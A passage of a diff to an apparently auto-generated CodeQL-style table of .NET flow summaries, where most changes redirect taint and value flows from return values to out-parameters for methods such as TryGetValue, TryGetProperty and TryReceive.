System.Runtime.InteropServices;OSPlatform;ToString;();Argument[this].SyntheticField[System.Runtime.InteropServices.OSPlatform.Name];ReturnValue;value;dfc-generated | | System.Runtime.InteropServices;PosixSignalRegistration;Create;(System.Runtime.InteropServices.PosixSignal,System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | -| System.Runtime.InteropServices;SafeBuffer;AcquirePointer;(System.Byte*);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.InteropServices;SafeHandle;DangerousGetHandle;();Argument[this].Field[System.Runtime.InteropServices.SafeHandle.handle];ReturnValue;value;dfc-generated | | System.Runtime.InteropServices;SafeHandle;SafeHandle;(System.IntPtr,System.Boolean);Argument[0];Argument[this].Field[System.Runtime.InteropServices.SafeHandle.handle];value;dfc-generated | | System.Runtime.InteropServices;SafeHandle;SetHandle;(System.IntPtr);Argument[0];Argument[this].Field[System.Runtime.InteropServices.SafeHandle.handle];value;dfc-generated | -| System.Runtime.InteropServices;SequenceMarshal;TryGetReadOnlyMemory;(System.Buffers.ReadOnlySequence,System.ReadOnlyMemory);Argument[0].Property[System.Buffers.ReadOnlySequence`1.First];ReturnValue;value;dfc-generated | -| System.Runtime.InteropServices;SequenceMarshal;TryGetReadOnlySequenceSegment;(System.Buffers.ReadOnlySequence,System.Buffers.ReadOnlySequenceSegment,System.Int32,System.Buffers.ReadOnlySequenceSegment,System.Int32);Argument[0];ReturnValue;taint;df-generated | -| System.Runtime.InteropServices;SequenceMarshal;TryRead;(System.Buffers.SequenceReader,T);Argument[0];ReturnValue;value;dfc-generated | +| System.Runtime.InteropServices;SequenceMarshal;TryGetReadOnlyMemory;(System.Buffers.ReadOnlySequence,System.ReadOnlyMemory);Argument[0].Property[System.Buffers.ReadOnlySequence`1.First];Argument[1];value;dfc-generated | +| System.Runtime.InteropServices;SequenceMarshal;TryGetReadOnlySequenceSegment;(System.Buffers.ReadOnlySequence,System.Buffers.ReadOnlySequenceSegment,System.Int32,System.Buffers.ReadOnlySequenceSegment,System.Int32);Argument[0];Argument[1];taint;df-generated | +| System.Runtime.InteropServices;SequenceMarshal;TryGetReadOnlySequenceSegment;(System.Buffers.ReadOnlySequence,System.Buffers.ReadOnlySequenceSegment,System.Int32,System.Buffers.ReadOnlySequenceSegment,System.Int32);Argument[0];Argument[3];taint;df-generated | | System.Runtime.Intrinsics;Vector64;Abs;(System.Runtime.Intrinsics.Vector64);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector64;Ceiling;(System.Runtime.Intrinsics.Vector64);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector64;Ceiling;(System.Runtime.Intrinsics.Vector64);Argument[0];ReturnValue;value;dfc-generated | @@ -17037,7 +16914,6 @@ summary | System.Runtime.Intrinsics;Vector64;Round;(System.Runtime.Intrinsics.Vector64,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector64;Round;(System.Runtime.Intrinsics.Vector64);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector64;Round;(System.Runtime.Intrinsics.Vector64,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.Intrinsics;Vector64;StoreUnsafe;(System.Runtime.Intrinsics.Vector64,T);Argument[1];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector64;Truncate;(System.Runtime.Intrinsics.Vector64);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector64;Truncate;(System.Runtime.Intrinsics.Vector64);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector64;WithElement;(System.Runtime.Intrinsics.Vector64,System.Int32,T);Argument[0];ReturnValue;value;dfc-generated | @@ -17054,7 +16930,6 @@ summary | System.Runtime.Intrinsics;Vector128;Round;(System.Runtime.Intrinsics.Vector128,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector128;Round;(System.Runtime.Intrinsics.Vector128);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector128;Round;(System.Runtime.Intrinsics.Vector128,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.Intrinsics;Vector128;StoreUnsafe;(System.Runtime.Intrinsics.Vector128,T);Argument[1];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector128;Truncate;(System.Runtime.Intrinsics.Vector128);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector128;Truncate;(System.Runtime.Intrinsics.Vector128);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector128;WithElement;(System.Runtime.Intrinsics.Vector128,System.Int32,T);Argument[0];ReturnValue;value;dfc-generated | @@ -17073,7 +16948,6 @@ summary | System.Runtime.Intrinsics;Vector256;Round;(System.Runtime.Intrinsics.Vector256,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector256;Round;(System.Runtime.Intrinsics.Vector256);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector256;Round;(System.Runtime.Intrinsics.Vector256,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.Intrinsics;Vector256;StoreUnsafe;(System.Runtime.Intrinsics.Vector256,T);Argument[1];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector256;Truncate;(System.Runtime.Intrinsics.Vector256);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector256;Truncate;(System.Runtime.Intrinsics.Vector256);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector256;WithElement;(System.Runtime.Intrinsics.Vector256,System.Int32,T);Argument[0];ReturnValue;value;dfc-generated | @@ -17092,7 +16966,6 @@ summary | System.Runtime.Intrinsics;Vector512;Round;(System.Runtime.Intrinsics.Vector512,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector512;Round;(System.Runtime.Intrinsics.Vector512);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector512;Round;(System.Runtime.Intrinsics.Vector512,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.Intrinsics;Vector512;StoreUnsafe;(System.Runtime.Intrinsics.Vector512,T);Argument[1];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector512;Truncate;(System.Runtime.Intrinsics.Vector512);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector512;Truncate;(System.Runtime.Intrinsics.Vector512);Argument[0];ReturnValue;value;dfc-generated | | System.Runtime.Intrinsics;Vector512;WithElement;(System.Runtime.Intrinsics.Vector512,System.Int32,T);Argument[0];ReturnValue;value;dfc-generated | @@ -17115,7 +16988,9 @@ summary | System.Runtime.Loader;AssemblyLoadContext;remove_Unloading;(System.Action);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Runtime.Remoting;ObjectHandle;ObjectHandle;(System.Object);Argument[0];Argument[this].SyntheticField[System.Runtime.Remoting.ObjectHandle._wrappedObject];value;dfc-generated | | System.Runtime.Remoting;ObjectHandle;Unwrap;();Argument[this].SyntheticField[System.Runtime.Remoting.ObjectHandle._wrappedObject];ReturnValue;value;dfc-generated | -| System.Runtime.Serialization.DataContracts;DataContract;IsDictionaryLike;(System.String,System.String,System.String);Argument[this];ReturnValue;taint;df-generated | +| System.Runtime.Serialization.DataContracts;DataContract;IsDictionaryLike;(System.String,System.String,System.String);Argument[this];Argument[0];taint;df-generated | +| System.Runtime.Serialization.DataContracts;DataContract;IsDictionaryLike;(System.String,System.String,System.String);Argument[this];Argument[1];taint;df-generated | +| System.Runtime.Serialization.DataContracts;DataContract;IsDictionaryLike;(System.String,System.String,System.String);Argument[this];Argument[2];taint;df-generated | | System.Runtime.Serialization.DataContracts;DataContract;get_BaseContract;();Argument[this];ReturnValue;taint;df-generated | | System.Runtime.Serialization.DataContracts;DataContract;get_DataMembers;();Argument[this];ReturnValue;taint;df-generated | | System.Runtime.Serialization.DataContracts;DataContractSet;DataContractSet;(System.Runtime.Serialization.DataContracts.DataContractSet);Argument[0];Argument[this];taint;df-generated | @@ -17165,7 +17040,7 @@ summary | System.Runtime.Serialization;IFormatterConverter;ToString;(System.Object);Argument[0];ReturnValue;taint;dfc-generated | | System.Runtime.Serialization;IObjectReference;GetRealObject;(System.Runtime.Serialization.StreamingContext);Argument[this];ReturnValue;taint;df-generated | | System.Runtime.Serialization;ISerializable;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | -| System.Runtime.Serialization;ISurrogateSelector;GetSurrogate;(System.Type,System.Runtime.Serialization.StreamingContext,System.Runtime.Serialization.ISurrogateSelector);Argument[this];ReturnValue;value;dfc-generated | +| System.Runtime.Serialization;ISurrogateSelector;GetSurrogate;(System.Type,System.Runtime.Serialization.StreamingContext,System.Runtime.Serialization.ISurrogateSelector);Argument[this];Argument[2];value;dfc-generated | | System.Runtime.Serialization;KnownTypeAttribute;KnownTypeAttribute;(System.String);Argument[0];Argument[this].Property[System.Runtime.Serialization.KnownTypeAttribute.MethodName];value;dfc-generated | | System.Runtime.Serialization;ObjectIDGenerator;GetId;(System.Object,System.Boolean);Argument[0];Argument[this];taint;df-generated | | System.Runtime.Serialization;ObjectManager;GetObject;(System.Int64);Argument[this];ReturnValue;taint;df-generated | @@ -17211,8 +17086,8 @@ summary | System.Runtime.Serialization;StreamingContext;get_Context;();Argument[this].SyntheticField[System.Runtime.Serialization.StreamingContext._additionalContext];ReturnValue;value;dfc-generated | | System.Runtime.Serialization;SurrogateSelector;ChainSelector;(System.Runtime.Serialization.ISurrogateSelector);Argument[0];Argument[this].SyntheticField[System.Runtime.Serialization.SurrogateSelector._nextSelector];value;dfc-generated | | System.Runtime.Serialization;SurrogateSelector;GetNextSelector;();Argument[this].SyntheticField[System.Runtime.Serialization.SurrogateSelector._nextSelector];ReturnValue;value;dfc-generated | -| System.Runtime.Serialization;SurrogateSelector;GetSurrogate;(System.Type,System.Runtime.Serialization.StreamingContext,System.Runtime.Serialization.ISurrogateSelector);Argument[this].SyntheticField[System.Runtime.Serialization.SurrogateSelector._nextSelector];ReturnValue;value;dfc-generated | -| System.Runtime.Serialization;SurrogateSelector;GetSurrogate;(System.Type,System.Runtime.Serialization.StreamingContext,System.Runtime.Serialization.ISurrogateSelector);Argument[this];ReturnValue;value;dfc-generated | +| System.Runtime.Serialization;SurrogateSelector;GetSurrogate;(System.Type,System.Runtime.Serialization.StreamingContext,System.Runtime.Serialization.ISurrogateSelector);Argument[this].SyntheticField[System.Runtime.Serialization.SurrogateSelector._nextSelector];Argument[2];value;dfc-generated | +| System.Runtime.Serialization;SurrogateSelector;GetSurrogate;(System.Type,System.Runtime.Serialization.StreamingContext,System.Runtime.Serialization.ISurrogateSelector);Argument[this];Argument[2];value;dfc-generated | | System.Runtime.Serialization;XPathQueryGenerator;CreateFromDataContractSerializer;(System.Type,System.Reflection.MemberInfo[],System.Text.StringBuilder,System.Xml.XmlNamespaceManager);Argument[2];ReturnValue;taint;dfc-generated | | System.Runtime.Serialization;XmlSerializableServices;WriteNodes;(System.Xml.XmlWriter,System.Xml.XmlNode[]);Argument[1].Element;Argument[0];taint;df-generated | | System.Runtime.Serialization;XsdDataContractExporter;XsdDataContractExporter;(System.Xml.Schema.XmlSchemaSet);Argument[0];Argument[this].SyntheticField[System.Runtime.Serialization.XsdDataContractExporter._schemas];value;dfc-generated | @@ -17531,7 +17406,7 @@ summary | System.Security.Cryptography.Xml;SignedInfo;get_References;();Argument[this].SyntheticField[System.Security.Cryptography.Xml.SignedInfo._references];ReturnValue;value;dfc-generated | | System.Security.Cryptography.Xml;SignedInfo;get_SyncRoot;();Argument[this];ReturnValue;value;dfc-generated | | System.Security.Cryptography.Xml;SignedXml;CheckSignature;(System.Security.Cryptography.KeyedHashAlgorithm);Argument[0];Argument[this];taint;df-generated | -| System.Security.Cryptography.Xml;SignedXml;CheckSignatureReturningKey;(System.Security.Cryptography.AsymmetricAlgorithm);Argument[this];ReturnValue;taint;df-generated | +| System.Security.Cryptography.Xml;SignedXml;CheckSignatureReturningKey;(System.Security.Cryptography.AsymmetricAlgorithm);Argument[this];Argument[0];taint;df-generated | | System.Security.Cryptography.Xml;SignedXml;ComputeSignature;(System.Security.Cryptography.KeyedHashAlgorithm);Argument[0];Argument[this];taint;df-generated | | System.Security.Cryptography.Xml;SignedXml;GetIdElement;(System.Xml.XmlDocument,System.String);Argument[0].Element;ReturnValue;taint;df-generated | | System.Security.Cryptography.Xml;SignedXml;GetPublicKey;();Argument[this];ReturnValue;taint;df-generated | @@ -18013,7 +17888,6 @@ summary | System.Text.Json.Nodes;JsonNode;AsValue;();Argument[this];ReturnValue;value;dfc-generated | | System.Text.Json.Nodes;JsonNode;DeepClone;();Argument[this];ReturnValue;taint;df-generated | | System.Text.Json.Nodes;JsonNode;GetValue;();Argument[this];ReturnValue;taint;df-generated | -| System.Text.Json.Nodes;JsonNode;Parse;(System.Text.Json.Utf8JsonReader,System.Nullable);Argument[0];ReturnValue;value;dfc-generated | | System.Text.Json.Nodes;JsonNode;ReplaceWith;(T);Argument[this];Argument[0];taint;df-generated | | System.Text.Json.Nodes;JsonNode;ToString;();Argument[this];ReturnValue;taint;df-generated | | System.Text.Json.Nodes;JsonNode;get_Item;(System.Int32);Argument[this].Element;ReturnValue;value;manual | @@ -18040,7 +17914,7 @@ summary | System.Text.Json.Nodes;JsonObject;get_Values;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue.Element;value;manual | | System.Text.Json.Nodes;JsonObject;set_Item;(System.Int32,System.Collections.Generic.KeyValuePair);Argument[1];Argument[this].Element;value;manual | | System.Text.Json.Nodes;JsonValue;Create;(T,System.Text.Json.Serialization.Metadata.JsonTypeInfo,System.Nullable);Argument[1];ReturnValue;taint;df-generated | -| System.Text.Json.Nodes;JsonValue;TryGetValue;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Text.Json.Nodes;JsonValue;TryGetValue;(T);Argument[this];Argument[0];taint;df-generated | | System.Text.Json.Schema;JsonSchemaExporterOptions;set_TransformSchemaNode;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Text.Json.Serialization.Metadata;DefaultJsonTypeInfoResolver;GetTypeInfo;(System.Type,System.Text.Json.JsonSerializerOptions);Argument[1];ReturnValue;taint;df-generated | | System.Text.Json.Serialization.Metadata;DefaultJsonTypeInfoResolver;GetTypeInfo;(System.Type,System.Text.Json.JsonSerializerOptions);Argument[this];ReturnValue;taint;df-generated | @@ -18103,7 +17977,6 @@ summary | System.Text.Json.Serialization.Metadata;JsonTypeInfoResolver;Combine;(System.Text.Json.Serialization.Metadata.IJsonTypeInfoResolver[]);Argument[0].Element;ReturnValue;taint;df-generated | | System.Text.Json.Serialization.Metadata;JsonTypeInfoResolver;WithAddedModifier;(System.Text.Json.Serialization.Metadata.IJsonTypeInfoResolver,System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Text.Json.Serialization;JsonConverter;ReadAsPropertyName;(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.JsonSerializerOptions);Argument[0].Property[System.Text.Json.Utf8JsonReader.ValueSpan].Element;ReturnValue;taint;dfc-generated | -| System.Text.Json.Serialization;JsonConverter;ReadAsPropertyName;(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.JsonSerializerOptions);Argument[0];ReturnValue;value;dfc-generated | | System.Text.Json.Serialization;JsonConverterFactory;CreateConverter;(System.Type,System.Text.Json.JsonSerializerOptions);Argument[this];ReturnValue;taint;df-generated | | System.Text.Json.Serialization;JsonDerivedTypeAttribute;JsonDerivedTypeAttribute;(System.Type,System.String);Argument[1];Argument[this].Property[System.Text.Json.Serialization.JsonDerivedTypeAttribute.TypeDiscriminator];value;dfc-generated | | System.Text.Json.Serialization;JsonNumberEnumConverter;CreateConverter;(System.Type,System.Text.Json.JsonSerializerOptions);Argument[this];ReturnValue;taint;df-generated | @@ -18119,8 +17992,6 @@ summary | System.Text.Json.Serialization;JsonStringEnumMemberNameAttribute;JsonStringEnumMemberNameAttribute;(System.String);Argument[0];Argument[this].Property[System.Text.Json.Serialization.JsonStringEnumMemberNameAttribute.Name];value;dfc-generated | | System.Text.Json;JsonDocument;Parse;(System.Buffers.ReadOnlySequence,System.Text.Json.JsonDocumentOptions);Argument[0];ReturnValue;taint;df-generated | | System.Text.Json;JsonDocument;Parse;(System.ReadOnlyMemory,System.Text.Json.JsonDocumentOptions);Argument[0];ReturnValue;taint;df-generated | -| System.Text.Json;JsonDocument;ParseValue;(System.Text.Json.Utf8JsonReader);Argument[0];ReturnValue;value;dfc-generated | -| System.Text.Json;JsonDocument;TryParseValue;(System.Text.Json.Utf8JsonReader,System.Text.Json.JsonDocument);Argument[0];ReturnValue;value;dfc-generated | | System.Text.Json;JsonDocument;get_RootElement;();Argument[this];ReturnValue;taint;df-generated | | System.Text.Json;JsonElement+ArrayEnumerator;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Generic.IEnumerator`1.Current];value;manual | | System.Text.Json;JsonElement+ArrayEnumerator;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | @@ -18142,11 +18013,9 @@ summary | System.Text.Json;JsonElement;GetProperty;(System.ReadOnlySpan);Argument[this];ReturnValue;taint;df-generated | | System.Text.Json;JsonElement;GetProperty;(System.ReadOnlySpan);Argument[this];ReturnValue;taint;df-generated | | System.Text.Json;JsonElement;GetProperty;(System.String);Argument[this];ReturnValue;taint;df-generated | -| System.Text.Json;JsonElement;ParseValue;(System.Text.Json.Utf8JsonReader);Argument[0];ReturnValue;value;dfc-generated | -| System.Text.Json;JsonElement;TryGetProperty;(System.ReadOnlySpan,System.Text.Json.JsonElement);Argument[this];ReturnValue;taint;df-generated | -| System.Text.Json;JsonElement;TryGetProperty;(System.ReadOnlySpan,System.Text.Json.JsonElement);Argument[this];ReturnValue;taint;df-generated | -| System.Text.Json;JsonElement;TryGetProperty;(System.String,System.Text.Json.JsonElement);Argument[this];ReturnValue;taint;df-generated | -| System.Text.Json;JsonElement;TryParseValue;(System.Text.Json.Utf8JsonReader,System.Nullable);Argument[0];ReturnValue;value;dfc-generated | +| System.Text.Json;JsonElement;TryGetProperty;(System.ReadOnlySpan,System.Text.Json.JsonElement);Argument[this];Argument[1];taint;df-generated | +| System.Text.Json;JsonElement;TryGetProperty;(System.ReadOnlySpan,System.Text.Json.JsonElement);Argument[this];Argument[1];taint;df-generated | +| System.Text.Json;JsonElement;TryGetProperty;(System.String,System.Text.Json.JsonElement);Argument[this];Argument[1];taint;df-generated | | System.Text.Json;JsonElement;get_Item;(System.Int32);Argument[this];ReturnValue;taint;df-generated | | System.Text.Json;JsonEncodedText;Encode;(System.ReadOnlySpan,System.Text.Encodings.Web.JavaScriptEncoder);Argument[0];ReturnValue;taint;df-generated | | System.Text.Json;JsonEncodedText;ToString;();Argument[this];ReturnValue;taint;df-generated | @@ -18169,11 +18038,6 @@ summary | System.Text.Json;JsonProperty;get_Name;();Argument[this];ReturnValue;taint;df-generated | | System.Text.Json;JsonReaderState;JsonReaderState;(System.Text.Json.JsonReaderOptions);Argument[0];Argument[this].SyntheticField[System.Text.Json.JsonReaderState._readerOptions];value;dfc-generated | | System.Text.Json;JsonReaderState;get_Options;();Argument[this].SyntheticField[System.Text.Json.JsonReaderState._readerOptions];ReturnValue;value;dfc-generated | -| System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Utf8JsonReader,System.Text.Json.Serialization.Metadata.JsonTypeInfo);Argument[0];ReturnValue;value;dfc-generated | -| System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.JsonSerializerOptions);Argument[0];ReturnValue;value;dfc-generated | -| System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.Serialization.JsonSerializerContext);Argument[0];ReturnValue;value;dfc-generated | -| System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Utf8JsonReader,System.Text.Json.JsonSerializerOptions);Argument[0];ReturnValue;value;dfc-generated | -| System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Utf8JsonReader,System.Text.Json.Serialization.Metadata.JsonTypeInfo);Argument[0];ReturnValue;value;dfc-generated | | System.Text.Json;JsonSerializer;Serialize;(System.IO.Stream,System.Object,System.Text.Json.Serialization.Metadata.JsonTypeInfo);Argument[1];Argument[2];taint;df-generated | | System.Text.Json;JsonSerializer;Serialize;(System.Object,System.Text.Json.Serialization.Metadata.JsonTypeInfo);Argument[0];Argument[1];taint;df-generated | | System.Text.Json;JsonSerializer;Serialize;(System.Text.Json.Utf8JsonWriter,System.Object,System.Text.Json.Serialization.Metadata.JsonTypeInfo);Argument[0];Argument[2];taint;df-generated | @@ -18197,7 +18061,7 @@ summary | System.Text.Json;JsonSerializerOptions;GetConverter;(System.Type);Argument[this];ReturnValue;taint;df-generated | | System.Text.Json;JsonSerializerOptions;GetTypeInfo;(System.Type);Argument[this];ReturnValue;taint;df-generated | | System.Text.Json;JsonSerializerOptions;JsonSerializerOptions;(System.Text.Json.JsonSerializerOptions);Argument[0];Argument[this];taint;df-generated | -| System.Text.Json;JsonSerializerOptions;TryGetTypeInfo;(System.Type,System.Text.Json.Serialization.Metadata.JsonTypeInfo);Argument[this];ReturnValue;taint;df-generated | +| System.Text.Json;JsonSerializerOptions;TryGetTypeInfo;(System.Type,System.Text.Json.Serialization.Metadata.JsonTypeInfo);Argument[this];Argument[1];taint;df-generated | | System.Text.Json;Utf8JsonReader;CopyString;(System.Span);Argument[this].Property[System.Text.Json.Utf8JsonReader.ValueSpan].Element;Argument[0].Element;value;dfc-generated | | System.Text.Json;Utf8JsonReader;GetComment;();Argument[this].Property[System.Text.Json.Utf8JsonReader.ValueSpan].Element;ReturnValue;taint;dfc-generated | | System.Text.Json;Utf8JsonReader;GetString;();Argument[this].Property[System.Text.Json.Utf8JsonReader.ValueSpan].Element;ReturnValue;taint;dfc-generated | @@ -18237,7 +18101,7 @@ summary | System.Text.RegularExpressions;GroupCollection;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Text.RegularExpressions;GroupCollection;Insert;(System.Int32,System.Object);Argument[1];Argument[this].Element;value;manual | | System.Text.RegularExpressions;GroupCollection;Insert;(System.Int32,System.Text.RegularExpressions.Group);Argument[1];Argument[this].Element;value;manual | -| System.Text.RegularExpressions;GroupCollection;TryGetValue;(System.String,System.Text.RegularExpressions.Group);Argument[this].Element;ReturnValue;value;dfc-generated | +| System.Text.RegularExpressions;GroupCollection;TryGetValue;(System.String,System.Text.RegularExpressions.Group);Argument[this].Element;Argument[1];value;dfc-generated | | System.Text.RegularExpressions;GroupCollection;get_Item;(System.Int32);Argument[this].Element;ReturnValue;value;manual | | System.Text.RegularExpressions;GroupCollection;get_Item;(System.String);Argument[this].Element;ReturnValue;value;manual | | System.Text.RegularExpressions;GroupCollection;get_Keys;();Argument[this];ReturnValue;taint;df-generated | @@ -18379,8 +18243,6 @@ summary | System.Text.Unicode;Utf8+TryWriteInterpolatedStringHandler;TryWriteInterpolatedStringHandler;(System.Int32,System.Int32,System.Span,System.Boolean);Argument[2];Argument[this];taint;df-generated | | System.Text.Unicode;Utf8+TryWriteInterpolatedStringHandler;TryWriteInterpolatedStringHandler;(System.Int32,System.Int32,System.Span,System.IFormatProvider,System.Boolean);Argument[2];Argument[this];taint;df-generated | | System.Text.Unicode;Utf8+TryWriteInterpolatedStringHandler;TryWriteInterpolatedStringHandler;(System.Int32,System.Int32,System.Span,System.IFormatProvider,System.Boolean);Argument[3];Argument[this];taint;df-generated | -| System.Text.Unicode;Utf8;TryWrite;(System.Span,System.IFormatProvider,System.Text.Unicode.Utf8+TryWriteInterpolatedStringHandler,System.Int32);Argument[2];ReturnValue;value;dfc-generated | -| System.Text.Unicode;Utf8;TryWrite;(System.Span,System.Text.Unicode.Utf8+TryWriteInterpolatedStringHandler,System.Int32);Argument[1];ReturnValue;value;dfc-generated | | System.Text;ASCIIEncoding;GetBytes;(System.Char*,System.Int32,System.Byte*,System.Int32);Argument[0];ReturnValue;taint;manual | | System.Text;ASCIIEncoding;GetBytes;(System.Char[],System.Int32,System.Int32,System.Byte[],System.Int32);Argument[0].Element;ReturnValue;taint;manual | | System.Text;ASCIIEncoding;GetBytes;(System.ReadOnlySpan,System.Span);Argument[0];ReturnValue;taint;manual | @@ -18667,8 +18529,8 @@ summary | System.Threading.RateLimiting;PartitionedRateLimiter;DisposeAsync;();Argument[this];ReturnValue;taint;df-generated | | System.Threading.RateLimiting;PartitionedRateLimiter;WithTranslatedKey;(System.Func,System.Boolean);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Threading.RateLimiting;RateLimitLease;GetAllMetadata;();Argument[this];ReturnValue;taint;df-generated | -| System.Threading.RateLimiting;RateLimitLease;TryGetMetadata;(System.String,System.Object);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.RateLimiting;RateLimitLease;TryGetMetadata;(System.Threading.RateLimiting.MetadataName,T);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.RateLimiting;RateLimitLease;TryGetMetadata;(System.String,System.Object);Argument[this];Argument[1];taint;df-generated | +| System.Threading.RateLimiting;RateLimitLease;TryGetMetadata;(System.Threading.RateLimiting.MetadataName,T);Argument[this];Argument[1];taint;df-generated | | System.Threading.RateLimiting;RateLimitLease;get_MetadataNames;();Argument[this];ReturnValue;taint;df-generated | | System.Threading.RateLimiting;RateLimitPartition;Get;(TKey,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Threading.RateLimiting;RateLimitPartition;GetConcurrencyLimiter;(TKey,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -18729,7 +18591,7 @@ summary | System.Threading.Tasks.Dataflow;BroadcastBlock;LinkTo;(System.Threading.Tasks.Dataflow.ITargetBlock,System.Threading.Tasks.Dataflow.DataflowLinkOptions);Argument[this];ReturnValue;taint;df-generated | | System.Threading.Tasks.Dataflow;BroadcastBlock;ReserveMessage;(System.Threading.Tasks.Dataflow.DataflowMessageHeader,System.Threading.Tasks.Dataflow.ITargetBlock);Argument[1];Argument[this];taint;df-generated | | System.Threading.Tasks.Dataflow;BroadcastBlock;TryReceive;(System.Predicate,T);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | -| System.Threading.Tasks.Dataflow;BroadcastBlock;TryReceiveAll;(System.Collections.Generic.IList);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks.Dataflow;BroadcastBlock;TryReceiveAll;(System.Collections.Generic.IList);Argument[this];Argument[0].Element;taint;df-generated | | System.Threading.Tasks.Dataflow;BroadcastBlock;get_Completion;();Argument[this];ReturnValue;taint;df-generated | | System.Threading.Tasks.Dataflow;BufferBlock;BufferBlock;(System.Threading.Tasks.Dataflow.DataflowBlockOptions);Argument[0];Argument[this];taint;df-generated | | System.Threading.Tasks.Dataflow;BufferBlock;LinkTo;(System.Threading.Tasks.Dataflow.ITargetBlock,System.Threading.Tasks.Dataflow.DataflowLinkOptions);Argument[0];ReturnValue;taint;df-generated | @@ -18767,7 +18629,7 @@ summary | System.Threading.Tasks.Dataflow;DataflowBlock;ReceiveAsync;(System.Threading.Tasks.Dataflow.ISourceBlock,System.TimeSpan,System.Threading.CancellationToken);Argument[0];ReturnValue;taint;df-generated | | System.Threading.Tasks.Dataflow;DataflowBlock;SendAsync;(System.Threading.Tasks.Dataflow.ITargetBlock,TInput);Argument[1];Argument[0];taint;df-generated | | System.Threading.Tasks.Dataflow;DataflowBlock;SendAsync;(System.Threading.Tasks.Dataflow.ITargetBlock,TInput,System.Threading.CancellationToken);Argument[1];Argument[0];taint;df-generated | -| System.Threading.Tasks.Dataflow;DataflowBlock;TryReceive;(System.Threading.Tasks.Dataflow.IReceivableSourceBlock,TOutput);Argument[0];ReturnValue;taint;df-generated | +| System.Threading.Tasks.Dataflow;DataflowBlock;TryReceive;(System.Threading.Tasks.Dataflow.IReceivableSourceBlock,TOutput);Argument[0];Argument[1];taint;df-generated | | System.Threading.Tasks.Dataflow;IDataflowBlock;get_Completion;();Argument[this];ReturnValue;taint;df-generated | | System.Threading.Tasks.Dataflow;IReceivableSourceBlock;TryReceive;(System.Predicate,TOutput);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Threading.Tasks.Dataflow;JoinBlock;JoinBlock;(System.Threading.Tasks.Dataflow.GroupingDataflowBlockOptions);Argument[0];Argument[this];taint;df-generated | @@ -18815,7 +18677,7 @@ summary | System.Threading.Tasks.Dataflow;WriteOnceBlock;ReleaseReservation;(System.Threading.Tasks.Dataflow.DataflowMessageHeader,System.Threading.Tasks.Dataflow.ITargetBlock);Argument[this];Argument[1];taint;df-generated | | System.Threading.Tasks.Dataflow;WriteOnceBlock;ToString;();Argument[this];ReturnValue;taint;df-generated | | System.Threading.Tasks.Dataflow;WriteOnceBlock;TryReceive;(System.Predicate,T);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | -| System.Threading.Tasks.Dataflow;WriteOnceBlock;TryReceiveAll;(System.Collections.Generic.IList);Argument[this].SyntheticField[System.Threading.Tasks.Dataflow.WriteOnceBlock`1._value];ReturnValue.Element;value;dfc-generated | +| 